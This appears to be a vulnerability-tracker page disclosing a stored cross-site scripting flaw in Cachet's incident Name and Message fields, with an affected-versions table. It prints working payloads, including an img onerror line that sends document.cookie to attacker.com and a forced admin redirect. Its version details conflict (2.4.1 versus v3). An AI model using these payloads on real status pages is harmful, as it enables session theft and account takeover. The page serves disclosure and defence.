Live › vulnerability › CVE-2026-113712
Go to dashboardCachet, a status page application, has a stored cross-site scripting flaw in the incident Name and Message fields: event-handler attributes such as onerror are not sanitized, so HTML injected by an authenticated user runs in the browser of anyone who views the public status page. An attacker can use this to steal session cookies or XSRF tokens and redirect visitors, including administrators.
Summary written from the sources below. Check the originals before acting.
First seen by InfraStack 2026-10-23 19:11 UTC, 3h before NVD. All times on this page are UTC.
| Product | Ecosystem | Affected | Fixed in |
|---|---|---|---|
| cachethq/cachet | composer | <= 2.4.1 | – |
composer show cachethq/cachet versions 2.4.1 and below are listed as affectedUnknown from the sources.
Each row is the first time that source carried this signal. The analyst’s rows are its own findings.
A stored Cross-Site Scripting (XSS) vulnerability exists in the incident creation form, allowing an authenticated attacker to inject malicious HTML/JavaScript that executes in the browser of any user who views the status page, potentially leading to session token theft and account takeover.
The incident Name and Message fields do not properly sanitize HTML event handler attributes. While <script> tags appear to be filtered, event-based payloads are not blocked.
Affected endpoint: /dashboard/incidents/ Affected fields: Incident Name, Incident Message Affected version: Cachet v3
Payload 1 — Confirm XSS execution:
<img src=x onerror="alert(1)">
Step 2 — Cookie/token exfiltration:
<img src=x onerror="fetch('http://attacker.com/leak?c='+document.cookie)">
Step 3 — Forced redirect to sensitive page:
<img src=x onerror="window.location='/dashboard/manage-customization'">
Stored XSS affecting all users who view the public status page.
An attacker can:
/dashboard/manage-customizationThis vulnerability could lead to full account takeover of any user who views the status page, including administrators.
This page as .md · .json · in your agent: get_signal("CVE-2026-113712")
GitHub Advisory Database, CC-BY 4.0 · NVD data is provided by NIST and is public domain. Posts quoted belong to their authors.